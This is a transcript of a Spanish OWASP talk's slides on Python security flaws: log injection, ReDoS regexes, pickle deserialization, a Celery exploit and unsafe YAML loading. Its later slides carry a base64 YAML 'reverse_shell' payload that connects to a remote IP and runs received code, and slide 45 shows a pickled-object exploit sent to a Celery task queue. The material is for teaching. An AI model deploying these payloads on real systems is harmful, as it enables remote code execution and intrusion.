Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

57
DANIEL GARCÍA (CR0HN) SEGURIDAD & PYTHON EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA https://github.com/cr0hn/i-owasp-madrid

Transcript of Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

Page 1: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

DANIEL GARCÍA (CR0HN)

SEGURIDAD & PYTHONEL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

https://github.com/cr0hn/i-owasp-madrid

Page 2: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DE QUÉ VA ESTA CHARLA?

▸ Seguridad en código en Python

▸ OWASP aplicado a Python.

▸ Seguridad práctica en Python

▸ Hacking a Python.

▸ E x p l o t a c i ó n d e vulnerabilidades NO tan típicas…

Page 3: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES TÍPICAS

▸ Cross Site Scripting (XSS).

▸ SQL Injection

▸ Auth

▸ ….

Page 4: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES TÍPICAS

▸ Cross Site Scripting (XSS).

▸ SQL Injection

▸ Auth

▸ ….

Page 5: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES TÍPICAS

▸ Cross Site Scripting (XSS).

▸ SQL Injection

▸ Auth

▸ ….

Page 6: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES POCO CONOCIDAS

Page 7: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION

Page 8: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (1/3)

@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"

logi/app.py

Page 9: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (1/3)

@app.route("/info", methods=["POST"])def logi(): data = request.form['id'] log.debug("[*] Tried to get info '" + data + "' from the user.") return "got info!"

logi/app.py

Page 10: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (2/3)

Page 11: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (2/3)

Page 12: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (3/3)

Page 13: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

LOG INJECTION (3/3)

Page 14: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX

Page 15: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (1/3)

Regex: ^(a+)+$

Page 16: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (1/3)

Regex: ^(a+)+$

Page 17: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (1/3)

Regex: ^(a+)+$

Denial Of System (DoS)

Page 18: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (2/3)

@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"

Page 19: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (2/3)

@app.route("/mailme/<mail>", methods=["GET"])def logi(mail=None): if re.match(r'^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$', mail): return "mail sent to: %s" % mail else: return "mail forma invalid"

Page 20: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

Page 21: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

Page 22: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

Page 23: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EVIL REGEX (3/3)Regex: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

30 seconds

Page 24: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES “RARUNAS" I: PICKLE

Page 25: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QÚE ES Y PARA QUÉ SIRVE PICKLE

Page 26: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ ES PICKLE

▸ Módulo de Python que permite serializar y deserializar estructuras de Python.

▸ Es muy sencillo de utilizar.

▸ Viene incorporado con las librerías nativas.

▸ Es el formato de serialización por defecto de muchos frameworks.

Page 27: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ PROBLEMA HAY CON PICKLE?

Page 28: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ PROBLEMA HAY CON PICKLE?

Page 29: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ PROBLEMA HAY CON PICKLE?

Page 30: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CÓMO FUNCIONA? (1/2)

# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()

pickle/pickle-good.py

Page 31: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CÓMO FUNCIONA? (1/2)

# -*- coding: utf-8 -*-import pickleclass ImSoHappy(object): def __init__(self): self.my_var = []def main(): pickle.dump(ImSoHappy(), open("my_info.db", "wb")) if __name__ == '__main__': main()

pickle/pickle-good.py

Page 32: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CÓMO FUNCIONA? (2/2)

?c__main__ImSoHappyq)?q}qXmy_varq]qsb.

pickle/my_info.db

Page 33: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VOLVÁMONOS MALOS

Page 34: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VOLVÁMONOS MALOS

Page 35: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI…

▸ Pickle nos permitiera modificar el flujo de deserialización?

▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?

▸ Y si ejecutaremos cosas malas?

▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????

Page 36: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI…

▸ Pickle nos permitiera modificar el flujo de deserialización?

▸ Y si pudiéramos intervenir y ejecutar cuando un objeto de deserializa?

▸ Y si ejecutaremos cosas malas?

▸ Y si fuéramos muy muy muy malos… y si inyectáramos un shell????

Page 37: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… HICIÉRAMOS UNA DEMO?

pickle/pickle-004.py

pickle/pickle-003.py

pickle/pickle-002.py

pickle/pickle-001.py

Page 38: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… HICIÉRAMOS UNA DEMO?

pickle/pickle-004.py

pickle/pickle-003.py

pickle/pickle-002.py

pickle/pickle-001.py

Page 39: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

CELERY + PICKLE: GRAN FALLO DE SEGURIDAD

Page 40: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (1/5)

Page 41: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)

Page 42: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (2/5)

Page 43: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)

worker2

Worker

worker1

Worker

heavy_action()

Page 44: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (3/5)

Broker

worker2

Worker

worker1

Worker

heavy_action()

Page 45: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (4/5)

from celery import Celeryapp = Celery(broker="redis://127.0.0.1")@app.task(name="heavy_action")def heavy_action(param): print(param)def main(): # Exploit! app.send_task("heavy_action", (MyLittleBastard(), ))

pickle/celery_exploit.py

Page 46: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

Y SI… TROYANIZAMOS SISTEMAS: A LO LOCO! (5/5)

¡Demo time!

Page 47: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

VULNERABILIDADES “RARUNAS" II: YAML

Page 48: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ ES EL YAMLimport yamlYAML = '''hello: worldhow: - are - you'''def main(): print(yaml.load(YAML))if __name__ == '__main__': main()

{ 'how': ['are', 'you'], 'hello': ‘world’ }

yml/yml-001.py

Page 49: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))

{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }

yml/yml-002.py

Page 50: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAMLimport yamlYAML = '''hello: worldhow: - are - youmy_bool: !!bool False'''def main(): print(yaml.load(YAML))

{ 'my_bool': False, 'hello': 'world', 'how': ['are', ‘you'] }

yml/yml-002.py

Page 51: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAML

http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes

Page 52: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAML

http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes

Page 53: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

QUÉ COSAS “RARUNAS” NOS OFRECE YAML

http://pyyaml.org/wiki/PyYAMLDocumentation#YAMLtagsandPythontypes

Page 54: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''

import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''

yml/yml-003.py yml/yml-004.py

Page 55: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''

import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''

yml/yml-003.py yml/yml-004.py

Page 56: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

EJEMPLOS… YUHU!!!import yamlYAML = '''hello: worldhow: - are - yougif_image: !!binary "R0lGODlhDAAMAIQAAP//9/X17unp5WZmZgAAAOfn515eXvPz7Y6OjuDg4J+fn5OTk6enp56enmlpaWNjY6Ojo4SEhP/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++f/++SH+Dk1hZGUgd2l0aCBHSU1QACwAAAAADAAMAAAFLCAgjoEwnuNAFOhpEMTRiggcz4BNJHrv/zCFcLiwMWYNG84BwwEeECcgggoBADs="'''

import yamlYAML = '''hello: worldhow: - are - youreverse_shell: !!binary "aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxMC4yMTEuNTUuNjEnLDkwMDApKQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK" '''

yml/yml-003.py yml/yml-004.py

Page 57: Seguridad & Python: El desarrollo seguro no sólo es cosa de Java

SEGURIDAD & PYTHON - EL DESARROLLO SEGURO NO SÓLO ES COSA DE JAVA

DANIEL GARCÍA (CR0HN)

¡GRACIAS!